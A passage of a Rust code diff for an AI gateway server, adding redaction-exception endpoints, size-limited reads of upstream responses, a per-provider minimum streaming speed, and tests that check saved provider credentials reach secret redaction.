+    let policy: RedactPolicy = match &stored {
+        None => RedactPolicy::default(),
+        Some(v) => serde_json::from_value(v.clone()).map_err(|_| {
+            AppError::BadRequest(format!(
+                "The stored {key} cannot be read; save the redaction settings again first."
+            ))
+        })?,
+    };
+    let mut list = policy.exceptions.clone();
+    let out = f(&policy, &mut list)?;
+    let value = guard_policy::exceptions::with_list(stored, &list);
+    guard_policy::validate(Guard::Redact, &value).map_err(AppError::BadRequest)?;
+    let written = sqlx::query(
+        "UPDATE system_settings SET value = $1, updated_by = $2, updated_at = now() WHERE key = $3",
+    )
+    .bind(&value)
+    .bind(auth_user.claims.sub)
+    .bind(key)
+    .execute(&mut *tx)
+    .await?;
+    if written.rows_affected() == 0 {
+        return Err(AppError::Internal(anyhow::anyhow!(
+            "system setting {key} is missing"
+        )));
+    }
+    tx.commit().await?;
+    state
+        .dynamic_config
+        .reload()
+        .await
+        .map_err(AppError::Internal)?;
+    crate::app::reload_guards(state).await;
+    dynamic_config::notify_config_changed(&state.redis).await;
+    Ok(out)
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
diff --git a/crates/server/src/handlers/admin/settings.rs b/crates/server/src/handlers/admin/settings.rs
index 7e7a3cc9..7a764958 100644
--- a/crates/server/src/handlers/admin/settings.rs
+++ b/crates/server/src/handlers/admin/settings.rs
@@ -265,7 +265,7 @@ pub struct UpdateSettingsRequest {
 pub async fn update_settings(
     auth_user: AuthUser,
     State(state): State<AppState>,
-    Json(req): Json<UpdateSettingsRequest>,
+    Json(mut req): Json<UpdateSettingsRequest>,
 ) -> Result<Json<serde_json::Value>, AppError> {
     let mut permissions: Vec<&'static str> = std::iter::once("settings:write")
         .chain(
@@ -282,6 +282,23 @@ pub async fn update_settings(
             .require_global_permission(&state.db, permission)
             .await?;
     }
+    // Redaction's exception values are edited through their own endpoints
+    // (`security::add_exception`): a policy written here keeps the stored
+    // ones, whatever it carries. The console rebuilds the policy from the
+    // rule view, which does not carry them.
+    let redact_key = guard_policy::key(tw_guard::policy::Guard::Redact);
+    if let Some(incoming) = req.settings.remove(redact_key) {
+        let stored: Option<serde_json::Value> =
+            sqlx::query_scalar("SELECT value FROM system_settings WHERE key = $1")
+                .bind(redact_key)
+                .fetch_optional(&state.db)
+                .await?;
+        req.settings.insert(
+            redact_key.to_string(),
+            guard_policy::exceptions::keep_stored(incoming, stored.as_ref()),
+        );
+    }
+
     // Validate each setting
     for (key, value) in &req.settings {
         validate_setting(key, value)?;
diff --git a/crates/server/src/handlers/mcp_oauth.rs b/crates/server/src/handlers/mcp_oauth.rs
index 88311499..f9297494 100644
--- a/crates/server/src/handlers/mcp_oauth.rs
+++ b/crates/server/src/handlers/mcp_oauth.rs
@@ -1340,14 +1340,16 @@ pub(crate) async fn resolve_upstream_subject(
         return Some(s);
     }
     let endpoint = userinfo_endpoint?;
-    let body = match http
+    let (body, _memory): (serde_json::Value, _) = match http
         .get(endpoint)
         .bearer_auth(access_token)
         .header("Accept", "application/json")
         .send()
         .await
     {
-        Ok(r) if r.status().is_success() => r.json::<serde_json::Value>().await.ok()?,
+        Ok(r) if r.status().is_success() => think_watch_common::resources::read_json(r, 64 * 1024)
+            .await
+            .ok()?,
         Ok(r) => {
             tracing::debug!(
                 endpoint = %endpoint,
diff --git a/crates/server/src/handlers/mcp_oauth/discovery.rs b/crates/server/src/handlers/mcp_oauth/discovery.rs
index 997a80d5..629bb533 100644
--- a/crates/server/src/handlers/mcp_oauth/discovery.rs
+++ b/crates/server/src/handlers/mcp_oauth/discovery.rs
@@ -77,13 +77,14 @@ pub async fn oauth_discover(
     for url in &candidates {
         match http.get(url).send().await {
             Ok(resp) if resp.status().is_success() => {
-                let body: serde_json::Value = match resp.json().await {
-                    Ok(v) => v,
-                    Err(e) => {
-                        last_err = Some(format!("{url}: {e}"));
-                        continue;
-                    }
-                };
+                let (body, _memory): (serde_json::Value, _) =
+                    match think_watch_common::resources::read_json(resp, 64 * 1024).await {
+                        Ok(v) => v,
+                        Err(e) => {
+                            last_err = Some(format!("{url}: {e}"));
+                            continue;
+                        }
+                    };
                 return Ok(Json(parse_oauth_metadata(&body)));
             }
             Ok(resp) => {
@@ -455,13 +456,14 @@ async fn fetch_protected_resource(
             return None;
         }
     };
-    let body: serde_json::Value = match resp.json().await {
-        Ok(v) => v,
-        Err(e) => {
-            diag.push(format!("{url}: parse: {e}"));
-            return None;
-        }
-    };
+    let (body, _memory): (serde_json::Value, _) =
+        match think_watch_common::resources::read_json(resp, 64 * 1024).await {
+            Ok(v) => v,
+            Err(e) => {
+                diag.push(format!("{url}: parse: {e}"));
+                return None;
+            }
+        };
     let issuer = body
         .get("authorization_servers")
         .and_then(|v| v.as_array())
@@ -501,8 +503,10 @@ async fn fetch_authz_server_metadata(
         }
         match http.get(url).send().await {
             Ok(resp) if resp.status().is_success() => {
-                match resp.json::<serde_json::Value>().await {
-                    Ok(body) => {
+                match think_watch_common::resources::read_json::<serde_json::Value>(resp, 64 * 1024)
+                    .await
+                {
+                    Ok((body, _memory)) => {
                         diag.push(format!("found authz-server metadata at {url}"));
                         return parse_authz_server_metadata(&body);
                     }
@@ -655,7 +659,14 @@ async fn register_dynamic_client(
         }
     };
     let status = resp.status();
-    let text = resp.text().await.unwrap_or_default();
+    let bytes = match think_watch_common::resources::read_response(resp, 64 * 1024).await {
+        Ok(bytes) => bytes,
+        Err(error) => {
+            diag.push(format!("dynamic-registration response read: {error}"));
+            return None;
+        }
+    };
+    let text = String::from_utf8_lossy(&bytes);
     if !status.is_success() {
         diag.push(format!(
             "dynamic-registration HTTP {status}: {}",
diff --git a/crates/server/src/handlers/mcp_shared.rs b/crates/server/src/handlers/mcp_shared.rs
index e8875ee0..6e044d21 100644
--- a/crates/server/src/handlers/mcp_shared.rs
+++ b/crates/server/src/handlers/mcp_shared.rs
@@ -111,35 +111,33 @@ pub async fn probe_mcp_endpoint(
         .unwrap_or("")
         .to_lowercase();
 
-    let json: serde_json::Value = if content_type.contains("text/event-stream") {
-        match resp.text().await {
-            Ok(text) => crate::mcp_runtime::parse_sse_json(&text).unwrap_or_else(|e| {
-                tracing::warn!(
-                    endpoint = %endpoint_url,
-                    error = %e,
-                    "MCP probe: failed to parse SSE JSON response"
-                );
-                serde_json::Value::Null
-            }),
-            Err(e) => {
-                tracing::warn!(
-                    endpoint = %endpoint_url,
-                    error = %e,
-                    "MCP probe: failed to read SSE response body"
-                );
-                serde_json::Value::Null
-            }
+    let memory = match think_watch_common::resources::read_response(
+        resp,
+        think_watch_common::resources::policy().max_body_bytes,
+    )
+    .await
+    {
+        Ok(bytes) => bytes,
+        Err(error) => {
+            return McpProbeOutcome {
+                success: false,
+                requires_auth: false,
+                message: format!("MCP response could not be read: {error}"),
+                latency_ms,
+                tools: vec![],
+            };
         }
-    } else {
-        resp.json().await.unwrap_or_else(|e| {
-            tracing::warn!(
-                endpoint = %endpoint_url,
-                error = %e,
-                "MCP probe: failed to parse JSON response"
-            );
+    };
+    let json: serde_json::Value = think_watch_common::resources::cpu(memory.len(), || {
+        if content_type.contains("text/event-stream") {
+            crate::mcp_runtime::parse_sse_json(&String::from_utf8_lossy(&memory))
+        } else {
+            serde_json::from_slice(&memory).map_err(Into::into)
+        }.unwrap_or_else(|e| {
+            tracing::warn!(endpoint = %endpoint_url, error = %e, "MCP probe: failed to parse response");
             serde_json::Value::Null
         })
-    };
+    }).await;
 
     let result_field = json.get("result");
     let tools: Vec<McpToolSummary> = result_field
diff --git a/crates/server/src/handlers/mcp_store.rs b/crates/server/src/handlers/mcp_store.rs
index b57efbeb..cb79b150 100644
--- a/crates/server/src/handlers/mcp_store.rs
+++ b/crates/server/src/handlers/mcp_store.rs
@@ -274,10 +274,12 @@ pub async fn sync_registry(
         )));
     }
 
-    let registry: RegistryResponse = resp
-        .json()
-        .await
-        .map_err(|e| AppError::BadRequest(format!("Invalid registry JSON: {e}")))?;
+    let (registry, _memory): (RegistryResponse, _) = think_watch_common::resources::read_json(
+        resp,
+        think_watch_common::resources::policy().max_body_bytes,
+    )
+    .await
+    .map_err(|e| AppError::BadRequest(format!("Invalid registry JSON: {e}")))?;
 
     // Wrap the whole sync (upserts + post-loop cleanup DELETE) in a
     // single transaction. Previously each `INSERT ... ON CONFLICT
diff --git a/crates/server/src/handlers/providers.rs b/crates/server/src/handlers/providers.rs
index f54a59be..38b4dd19 100644
--- a/crates/server/src/handlers/providers.rs
+++ b/crates/server/src/handlers/providers.rs
@@ -280,6 +280,12 @@ pub async fn create_provider(
     encrypt_aws_secret_in_config(&mut config, &state.config.encryption_key)?;
     config["headers"] = encrypt_headers_for_storage(&req.headers, &state.config.encryption_key)?;
 
+    let min_speed = min_speed(
+        req.min_speed_tokens_per_sec,
+        req.min_speed_window_secs
+            .unwrap_or(i64::from(DEFAULT_MIN_SPEED_WINDOW_SECS)),
+    )?;
+
     let mut provider = repo::insert(
         &state.db,
         &req.name,
@@ -287,6 +293,7 @@ pub async fn create_provider(
         &req.provider_type,
         &req.base_url,
         &config,
+        min_speed,
     )
     .await?;
 
@@ -311,6 +318,52 @@ pub struct UpdateProviderRequest {
     pub base_url: Option<String>,
     /// Unified request headers (auth + custom + identity templates).
     pub headers: Option<Vec<ProviderHeader>>,
+    /// PATCH-clearable slowest generation, in tokens per second. Absent
+    /// = unchanged, JSON `null` = off, number (1 to 1000) = cut a stream
+    /// that averages fewer over `min_speed_window_secs`.
+    #[serde(
+        default,
+        deserialize_with = "crate::handlers::serde_util::deserialize_some"
+    )]
+    #[schema(value_type = Option<i64>)]
+    pub min_speed_tokens_per_sec: Option<Option<i64>>,
+    /// The window that speed is averaged over, in seconds (5 to 120).
+    /// Absent = unchanged.
+    pub min_speed_window_secs: Option<i64>,
+}
+
+/// A stream's window when none is given, in seconds.
+pub(crate) const DEFAULT_MIN_SPEED_WINDOW_SECS: i32 = 20;
+
+/// A provider's slowest generation as stored: `tokens_per_sec` 1 to 1000
+/// or none (off), `window_secs` 5 to 120 — the columns' CHECKs, as a
+/// useful 400.
+pub(crate) fn min_speed(
+    tokens_per_sec: Option<i64>,
+    window_secs: i64,
+) -> Result<repo::MinSpeed, AppError> {
+    let tokens_per_sec = tokens_per_sec
+        .map(|n| {
+            i32::try_from(n)
+                .ok()
+                .filter(|n| (1..=1000).contains(n))
+                .ok_or_else(|| {
+                    AppError::BadRequest(
+                        "min_speed_tokens_per_sec must be between 1 and 1000".into(),
+                    )
+                })
+        })
+        .transpose()?;
+    let window_secs = i32::try_from(window_secs)
+        .ok()
+        .filter(|n| (5..=120).contains(n))
+        .ok_or_else(|| {
+            AppError::BadRequest("min_speed_window_secs must be between 5 and 120".into())
+        })?;
+    Ok(repo::MinSpeed {
+        tokens_per_sec,
+        window_secs,
+    })
 }
 
 #[utoipa::path(
@@ -372,7 +425,24 @@ pub async fn update_provider(
         config
     };
 
-    let mut updated = repo::update(&state.db, id, display_name, base_url, &config_json).await?;
+    let min_speed = min_speed(
+        match req.min_speed_tokens_per_sec {
+            None => existing.min_speed_tokens_per_sec.map(i64::from),
+            Some(set) => set,
+        },
+        req.min_speed_window_secs
+            .unwrap_or(i64::from(existing.min_speed_window_secs)),
+    )?;
+
+    let mut updated = repo::update(
+        &state.db,
+        id,
+        display_name,
+        base_url,
+        &config_json,
+        min_speed,
+    )
+    .await?;
 
     // A new base URL or credential can mean an entirely different
     // upstream, so every dialect we learned for this provider's routes
@@ -620,6 +690,8 @@ fn test_materials(
         headers,
         api_version: stored.and_then(|s| s.api_version.clone()),
         aws,
+        // A connection test lists models; it streams nothing.
+        min_speed: None,
     }
 }
 
@@ -734,7 +806,19 @@ async fn list_models(client: &reqwest::Client, url: &str, headers: &[(String, St
     };
 
     let status = resp.status();
-    let body: serde_json::Value = resp.json().await.unwrap_or(serde_json::Value::Null);
+    let memory = match think_watch_common::resources::read_response(
+        resp,
+        think_watch_common::resources::policy().max_body_bytes,
+    )
+    .await
+    {
+        Ok(value) => value,
+        Err(error) => return Listing::Failed(error.to_string()),
+    };
+    let body: serde_json::Value = think_watch_common::resources::cpu(memory.len(), || {
+        serde_json::from_slice(&memory).unwrap_or(serde_json::Value::Null)
+    })
+    .await;
     if !status.is_success() {
         let message = body
             .get("error")
@@ -788,6 +872,65 @@ fn probe_url(
 mod tests {
     use super::*;
 
+    #[test]
+    fn a_minimum_speed_is_in_the_columns_ranges_or_off() {
+        let ok = |t, w| min_speed(t, w).unwrap();
+        assert_eq!(
+            ok(None, 20),
+            repo::MinSpeed {
+                tokens_per_sec: None,
+                window_secs: 20
+            }
+        );
+        assert_eq!(
+            ok(Some(1), 5),
+            repo::MinSpeed {
+                tokens_per_sec: Some(1),
+                window_secs: 5
+            }
+        );
+        assert_eq!(ok(Some(1000), 120).tokens_per_sec, Some(1000));
+        for (t, w) in [
+            (Some(0), 20),
+            (Some(1001), 20),
+            (Some(-1), 20),
+            (Some(i64::MAX), 20),
+            (None, 4),
+            (None, 121),
+            (None, 0),
+        ] {
+            assert!(min_speed(t, w).is_err(), "{t:?} / {w}");
+        }
+        assert!(
+            min_speed(Some(0), 20)
+                .unwrap_err()
+                .to_string()
+                .contains("min_speed_tokens_per_sec")
+        );
+        assert!(
+            min_speed(None, 4)
+                .unwrap_err()
+                .to_string()
+                .contains("min_speed_window_secs")
+        );
+    }
+
+    #[test]
+    fn a_patch_tells_an_absent_speed_from_a_cleared_one() {
+        let absent: UpdateProviderRequest = serde_json::from_value(serde_json::json!({})).unwrap();
+        assert_eq!(absent.min_speed_tokens_per_sec, None);
+        assert_eq!(absent.min_speed_window_secs, None);
+        let cleared: UpdateProviderRequest =
+            serde_json::from_value(serde_json::json!({"min_speed_tokens_per_sec": null})).unwrap();
+        assert_eq!(cleared.min_speed_tokens_per_sec, Some(None));
+        let set: UpdateProviderRequest = serde_json::from_value(
+            serde_json::json!({"min_speed_tokens_per_sec": 15, "min_speed_window_secs": 30}),
+        )
+        .unwrap();
+        assert_eq!(set.min_speed_tokens_per_sec, Some(Some(15)));
+        assert_eq!(set.min_speed_window_secs, Some(30));
+    }
+
     fn test_hex_key() -> &'static str {
         // 32 bytes of zeroes → valid 64-char hex key for AES-256.
         "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
@@ -903,6 +1046,7 @@ mod tests {
             headers: vec![("Authorization".into(), "Bearer ABSK-saved".into())],
             api_version: None,
             aws: keys("AKIA-saved", "secret-saved"),
+            min_speed: None,
         }
     }
 
diff --git a/crates/server/src/init.rs b/crates/server/src/init.rs
index c9dd5dfa..60903ec2 100644
--- a/crates/server/src/init.rs
+++ b/crates/server/src/init.rs
@@ -64,11 +64,16 @@ pub async fn init_state(
         think_watch_auth::jwt::JwtManager::leeway_from_env(),
     ));
 
+    // No saved secrets yet: the providers are loaded with the router
+    // (`app::install_providers`), which recompiles these with theirs.
+    let saved_secrets = Arc::new(arc_swap::ArcSwap::from_pointee(
+        think_watch_common::guard_policy::saved::SavedSecrets::default(),
+    ));
     let guards = Arc::new(arc_swap::ArcSwap::from_pointee(
-        app::load_guards(&dynamic_config).await,
+        app::load_guards(&dynamic_config, &saved_secrets.load()).await,
     ));
     let blob_redactor = Arc::new(arc_swap::ArcSwap::from_pointee(
-        app::load_blob_redactor(&dynamic_config).await,
+        app::load_blob_redactor(&dynamic_config, &saved_secrets.load()).await,
     ));
 
     let init_http_secs = dynamic_config.perf_http_client_secs().await as u64;
@@ -145,6 +150,7 @@ pub async fn init_state(
         cost_tracker,
         blob_store,
         blob_redactor,
+        saved_secrets,
     };
 
     Ok(state)
@@ -262,6 +268,7 @@ pub async fn spawn_config_subscriber(state: &AppState) -> anyhow::Result<()> {
     let dc_clone = state.dynamic_config.clone();
     let guards_clone = state.guards.clone();
     let blob_clone = state.blob_redactor.clone();
+    let saved_clone = state.saved_secrets.clone();
     let http_clone = state.http_client.clone();
     let pool_clone = state.mcp_pool.clone();
     // Wrap in `supervise()` so a panic inside the reload (e.g.
@@ -296,12 +303,14 @@ pub async fn spawn_config_subscriber(state: &AppState) -> anyhow::Result<()> {
                 tracing::warn!("Failed to reload dynamic config: {e}");
                 return;
             }
-            guards.store(Arc::new(app::load_guards(dc).await));
+            guards.store(Arc::new(app::load_guards(dc, &saved_clone.load()).await));
             // Same policy, swapped alongside — the MCP gateway's at-rest
             // redactor must stay in lockstep with the AI gateway's, or
             // operators get the surprise "I added a rule in the console
             // and one of two redaction surfaces still leaks it".
-            blob.store(Arc::new(app::load_blob_redactor(dc).await));
+            blob.store(Arc::new(
+                app::load_blob_redactor(dc, &saved_clone.load()).await,
+            ));
             let http_secs = dc.perf_http_client_secs().await as u64;
             match reqwest::Client::builder()
                 .timeout(std::time::Duration::from_secs(http_secs))
@@ -393,16 +402,14 @@ pub async fn spawn_config_subscriber(state: &AppState) -> anyhow::Result<()> {
                 Ok(msg) if msg.channel == app::GATEWAY_ROUTER_CHANGED_CHANNEL => {
                     // Build a new router locally; don't re-publish so a
                     // single CRUD doesn't fan out into a publish storm.
-                    let mut new_router = think_watch_gateway::router::ModelRouter::new();
-                    if let Err(e) =
-                        app::load_providers_into_router(&router_state, &mut new_router).await
-                    {
+                    // The providers' credentials come along, and the
+                    // guards are recompiled when they changed.
+                    if let Err(e) = app::install_providers(&router_state).await {
                         tracing::error!(
                             "Failed to rebuild gateway router after pub/sub notify: {e}"
                         );
                         continue;
                     }
-                    router_state.gateway_router.store(Arc::new(new_router));
                     tracing::info!("Gateway router hot-reloaded via pub/sub");
                 }
                 Ok(_) => {}
@@ -410,14 +417,10 @@ pub async fn spawn_config_subscriber(state: &AppState) -> anyhow::Result<()> {
                     tracing::warn!(
                         "gateway_router:changed subscriber lagged by {n}; reloading anyway"
                     );
-                    let mut new_router = think_watch_gateway::router::ModelRouter::new();
-                    if let Err(e) =
-                        app::load_providers_into_router(&router_state, &mut new_router).await
-                    {
+                    if let Err(e) = app::install_providers(&router_state).await {
                         tracing::error!("Failed to rebuild gateway router on lag: {e}");
                         continue;
                     }
-                    router_state.gateway_router.store(Arc::new(new_router));
                 }
                 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
                     tracing::info!(
diff --git a/crates/server/src/main.rs b/crates/server/src/main.rs
index 864b2658..2d66e50c 100644
--- a/crates/server/src/main.rs
+++ b/crates/server/src/main.rs
@@ -5,8 +5,40 @@ use think_watch_common::db;
 use think_watch_server::{app, handlers, init, tracing_ch};
 use tracing_subscriber::{EnvFilter, layer::SubscriberExt, util::SubscriberInitExt};
 
-#[tokio::main]
-async fn main() -> anyhow::Result<()> {
+#[global_allocator]
+static ALLOCATOR: mimalloc::MiMalloc = mimalloc::MiMalloc;
+
+fn main() -> anyhow::Result<()> {
+    #[cfg(target_os = "linux")]
+    {
+        // A process-local policy, inherited by subsequently created threads.
+        // Sparse small-object heaps should not pin entire 2 MiB huge pages.
+        // SAFETY: PR_SET_THP_DISABLE only consumes integer arguments.
+        unsafe {
+            libc::prctl(
+                libc::PR_SET_THP_DISABLE,
+                1 as libc::c_ulong,
+                0 as libc::c_ulong,
+                0 as libc::c_ulong,
+                0 as libc::c_ulong,
+            )
+        };
+    }
+    let policy = think_watch_common::resources::policy();
+    let workers = match std::env::var("TOKIO_WORKER_THREADS") {
+        Ok(value) => value.parse::<std::num::NonZeroUsize>()?.get(),
+        Err(std::env::VarError::NotPresent) => policy.io_workers,
+        Err(error) => return Err(error.into()),
+    };
+    tokio::runtime::Builder::new_multi_thread()
+        .worker_threads(workers)
+        .thread_keep_alive(think_watch_common::resources::IDLE_TIMEOUT)
+        .enable_all()
+        .build()?
+        .block_on(serve())
+}
+
+async fn serve() -> anyhow::Result<()> {
     // Container healthcheck. The runtime image is distroless/static —
     // no shell, no curl — so the only executable available to Docker's
     // healthcheck is this binary. `think-watch-server healthcheck`
@@ -29,6 +61,8 @@ async fn main() -> anyhow::Result<()> {
         .with(ch_layer)
         .init();
 
+    tracing::info!(policy = ?think_watch_common::resources::policy(), allocator = "mimalloc", "Automatic resource admission enabled");
+
     let config = AppConfig::from_env()?;
     if let Err(e) = config.validate() {
         tracing::error!("Configuration validation failed: {e}");
diff --git a/crates/server/src/mcp_runtime.rs b/crates/server/src/mcp_runtime.rs
index 1274c69e..a8084073 100644
--- a/crates/server/src/mcp_runtime.rs
+++ b/crates/server/src/mcp_runtime.rs
@@ -441,12 +441,19 @@ async fn try_discover_and_persist_tools_with_auth(
         .unwrap_or("")
         .to_lowercase();
 
-    let json: serde_json::Value = if content_type.contains("text/event-stream") {
-        let text = resp.text().await?;
-        parse_sse_json(&text)?
-    } else {
-        resp.json().await?
-    };
+    let memory = think_watch_common::resources::read_response(
+        resp,
+        think_watch_common::resources::policy().max_body_bytes,
+    )
+    .await?;
+    let json: serde_json::Value = think_watch_common::resources::cpu(memory.len(), || {
+        if content_type.contains("text/event-stream") {
+            parse_sse_json(&String::from_utf8_lossy(&memory))
+        } else {
+            serde_json::from_slice(&memory).map_err(Into::into)
+        }
+    })
+    .await?;
     // Strict: require a `result` field so malformed responses are
     // caught instead of silently treated as success.
     let result = json
@@ -569,12 +576,19 @@ pub async fn discover_user_tools(
         .and_then(|v| v.to_str().ok())
         .unwrap_or("")
         .to_lowercase();
-    let json: serde_json::Value = if content_type.contains("text/event-stream") {
-        let text = resp.text().await?;
-        parse_sse_json(&text)?
-    } else {
-        resp.json().await?
-    };
+    let memory = think_watch_common::resources::read_response(
+        resp,
+        think_watch_common::resources::policy().max_body_bytes,
+    )
+    .await?;
+    let json: serde_json::Value = think_watch_common::resources::cpu(memory.len(), || {
+        if content_type.contains("text/event-stream") {
+            parse_sse_json(&String::from_utf8_lossy(&memory))
+        } else {
+            serde_json::from_slice(&memory).map_err(Into::into)
+        }
+    })
+    .await?;
     let result = json
         .get("result")
         .ok_or_else(|| anyhow::anyhow!("tools/list response missing `result` field"))?
diff --git a/crates/server/src/openapi.rs b/crates/server/src/openapi.rs
index 2994200a..ff483609 100644
--- a/crates/server/src/openapi.rs
+++ b/crates/server/src/openapi.rs
@@ -125,6 +125,9 @@ use crate::services::team_repository::Team;
         crate::handlers::admin::update_settings,
         crate::handlers::admin::get_security,
         crate::handlers::admin::test_security,
+        crate::handlers::admin::list_exceptions,
+        crate::handlers::admin::add_exception,
+        crate::handlers::admin::remove_exception,
         // Teams
         crate::handlers::teams::list_teams,
         crate::handlers::teams::get_team,
diff --git a/crates/server/src/protocol_probe.rs b/crates/server/src/protocol_probe.rs
index 1d42d3ea..c02d5675 100644
--- a/crates/server/src/protocol_probe.rs
+++ b/crates/server/src/protocol_probe.rs
@@ -247,7 +247,11 @@ async fn probe_one(materials: &ProviderMaterials, upstream_model: &str) -> Probe
         match attempt {
             Ok(Ok(resp)) => {
                 // Drain it so the connection goes back to the pool.
-                let _ = resp.bytes().await;
+                let _ = tokio::time::timeout(
+                    PROBE_TIMEOUT,
+                    think_watch_common::resources::read_response(resp, 64 * 1024),
+                )
+                .await;
                 return Probe::Verdict(Verdict::Ok(candidate));
             }
             Ok(Err(GatewayError::UpstreamAuthError { status, message })) => {
diff --git a/crates/server/src/services/provider_repository.rs b/crates/server/src/services/provider_repository.rs
index 03a07e96..a45cc254 100644
--- a/crates/server/src/services/provider_repository.rs
+++ b/crates/server/src/services/provider_repository.rs
@@ -37,6 +37,15 @@ pub async fn name_of(pool: &PgPool, id: Uuid) -> Result<Option<String>, AppError
     )
 }
 
+/// The slowest generation a provider's streams may keep up (see
+/// `think_watch_gateway::proxy::min_speed`): `tokens_per_sec` `None` is
+/// off. Checked against the columns' ranges by the handler.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct MinSpeed {
+    pub tokens_per_sec: Option<i32>,
+    pub window_secs: i32,
+}
+
 pub async fn insert(
     pool: &PgPool,
     name: &str,
@@ -44,16 +53,20 @@ pub async fn insert(
     provider_type: &str,
     base_url: &str,
     config_json: &serde_json::Value,
+    min_speed: MinSpeed,
 ) -> Result<Provider, AppError> {
     Ok(sqlx::query_as::<_, Provider>(
-        r#"INSERT INTO providers (name, display_name, provider_type, base_url, config_json)
-           VALUES ($1, $2, $3, $4, $5) RETURNING *"#,
+        r#"INSERT INTO providers (name, display_name, provider_type, base_url, config_json,
+                                  min_speed_tokens_per_sec, min_speed_window_secs)
+           VALUES ($1, $2, $3, $4, $5, $6, $7) RETURNING *"#,
     )
     .bind(name)
     .bind(display_name)
     .bind(provider_type)
     .bind(base_url)
     .bind(config_json)
+    .bind(min_speed.tokens_per_sec)
+    .bind(min_speed.window_secs)
     .fetch_one(pool)
     .await?)
 }
@@ -64,15 +77,19 @@ pub async fn update(
     display_name: &str,
     base_url: &str,
     config_json: &serde_json::Value,
+    min_speed: MinSpeed,
 ) -> Result<Provider, AppError> {
     Ok(sqlx::query_as::<_, Provider>(
-        r#"UPDATE providers SET display_name = $2, base_url = $3, config_json = $4
+        r#"UPDATE providers SET display_name = $2, base_url = $3, config_json = $4,
+                                min_speed_tokens_per_sec = $5, min_speed_window_secs = $6
            WHERE id = $1 RETURNING *"#,
     )
     .bind(id)
     .bind(display_name)
     .bind(base_url)
     .bind(config_json)
+    .bind(min_speed.tokens_per_sec)
+    .bind(min_speed.window_secs)
     .fetch_one(pool)
     .await?)
 }
diff --git a/crates/test-support/Cargo.toml b/crates/test-support/Cargo.toml
index 3d0b1601..bd6683f7 100644
--- a/crates/test-support/Cargo.toml
+++ b/crates/test-support/Cargo.toml
@@ -56,3 +56,4 @@ rust_decimal = { workspace = true }
 [dev-dependencies]
 jsonwebtoken = { workspace = true }
 tokio = { workspace = true, features = ["test-util"] }
+tw-guard = { workspace = true }
diff --git a/crates/test-support/src/mock_provider.rs b/crates/test-support/src/mock_provider.rs
index 4f63a9e4..d6ce8a16 100644
--- a/crates/test-support/src/mock_provider.rs
+++ b/crates/test-support/src/mock_provider.rs
@@ -192,6 +192,61 @@ pub async fn sse_upstream_lingering(
     format!("http://{addr}")
 }
 
+/// An upstream that answers every `POST {path}` with an event stream
+/// sent piece by piece: each `(wait, piece)` goes out `wait` after the one
+/// before it. Returns its base URL and a flag that is set when the
+/// gateway hangs up before the last piece went out.
+///
+/// wiremock sends a body in one piece, so this is a server of its own.
+pub async fn sse_upstream_paced(
+    path: &str,
+    pieces: Vec<(std::time::Duration, String)>,
+) -> (String, std::sync::Arc<std::sync::atomic::AtomicBool>) {
+    use std::sync::Arc;
+    use std::sync::atomic::{AtomicBool, Ordering};
+
+    /// Set on drop unless the stream ran to its end.
+    struct HungUp {
+        flag: Arc<AtomicBool>,
+        finished: bool,
+    }
+    impl Drop for HungUp {
+        fn drop(&mut self) {
+            if !self.finished {
+                self.flag.store(true, Ordering::SeqCst);
+            }
+        }
+    }
+
+    let hung_up = Arc::new(AtomicBool::new(false));
+    let flag = Arc::clone(&hung_up);
+    let answer = axum::routing::post(move || {
+        let pieces = pieces.clone();
+        let flag = Arc::clone(&flag);
+        async move {
+            let body = async_stream::stream! {
+                let mut guard = HungUp { flag, finished: false };
+                for (wait, piece) in pieces {
+                    tokio::time::sleep(wait).await;
+                    yield Ok::<_, std::convert::Infallible>(bytes::Bytes::from(piece));
+                }
+                guard.finished = true;
+            };
+            axum::response::Response::builder()
+                .header("content-type", "text/event-stream")
+                .body(axum::body::Body::from_stream(body))
+                .unwrap()
+        }
+    });
+    let app = axum::Router::new().route(path, answer);
+    let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+    let addr = listener.local_addr().unwrap();
+    tokio::spawn(async move {
+        let _ = axum::serve(listener, app).await;
+    });
+    (format!("http://{addr}"), hung_up)
+}
+
 fn openai_sse_chunks(model: &str) -> Vec<u8> {
     let chunk = |delta: Value| {
         format!(
diff --git a/crates/test-support/tests/content_filter_pii.rs b/crates/test-support/tests/content_filter_pii.rs
index 23a20435..0c682a38 100644
--- a/crates/test-support/tests/content_filter_pii.rs
+++ b/crates/test-support/tests/content_filter_pii.rs
@@ -1433,3 +1433,245 @@ async fn a_value_repeated_without_its_context_is_masked_in_the_log_row() {
         assert!(b.contains("<<TW_SECRET_1>>"), "{b}");
     }
 }
+
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn provider_credentials_reach_redaction_when_the_providers_load() {
+    use think_watch_common::json_secret::JsonSecret;
+    let app = TestApp::spawn().await;
+    app.set_setting("security.redact", json!({"mode": "enforce"}))
+        .await;
+    let saved = "test-saved-upstream-key-0123456789";
+    let enc = |v: &str| {
+        JsonSecret::encrypt(v, &app.state.config.encryption_key)
+            .unwrap()
+            .to_json()
+    };
+    let upstream = echo_upstream().await;
+    let name = unique_name("saved");
+    let provider = fixtures::create_provider(
+        &app.db,
+        &name,
+        "openai",
+        &upstream.uri(),
+        Some(json!({"headers": [
+            {"key": "Authorization", "value": enc(&format!("Bearer {saved}"))},
+            {"key": "OpenAI-Beta", "value": enc("assistants=v2-not-a-secret")}
+        ]})),
+    )
+    .await
+    .unwrap();
+    fixtures::create_model_and_route(&app.db, provider.id, "saved-key")
+        .await
+        .unwrap();
+    let guards_before = app.state.guards.load_full();
+    app.rebuild_gateway_router().await;
+
+    // Collected under the provider's name, with its base URL's host; the
+    // header that is configuration is not.
+    let list = app.state.saved_secrets.load_full();
+    let got: Vec<(String, String)> = list
+        .iter()
+        .map(|s| (s.provider.clone(), s.value.clone()))
+        .collect();
+    assert_eq!(got, [(name.clone(), saved.to_string())]);
+    assert_eq!(
+        list.iter().next().unwrap().host.as_deref(),
+        Some("127.0.0.1")
+    );
+    // The guards were recompiled with them.
+    let guards = app.state.guards.load_full();
+    assert!(!std::sync::Arc::ptr_eq(&guards_before, &guards));
+    assert_eq!(guards.redaction.rules.saved().map(|s| s.len()), Some(1));
+
+    // A caller pasting the key: the upstream never sees it.
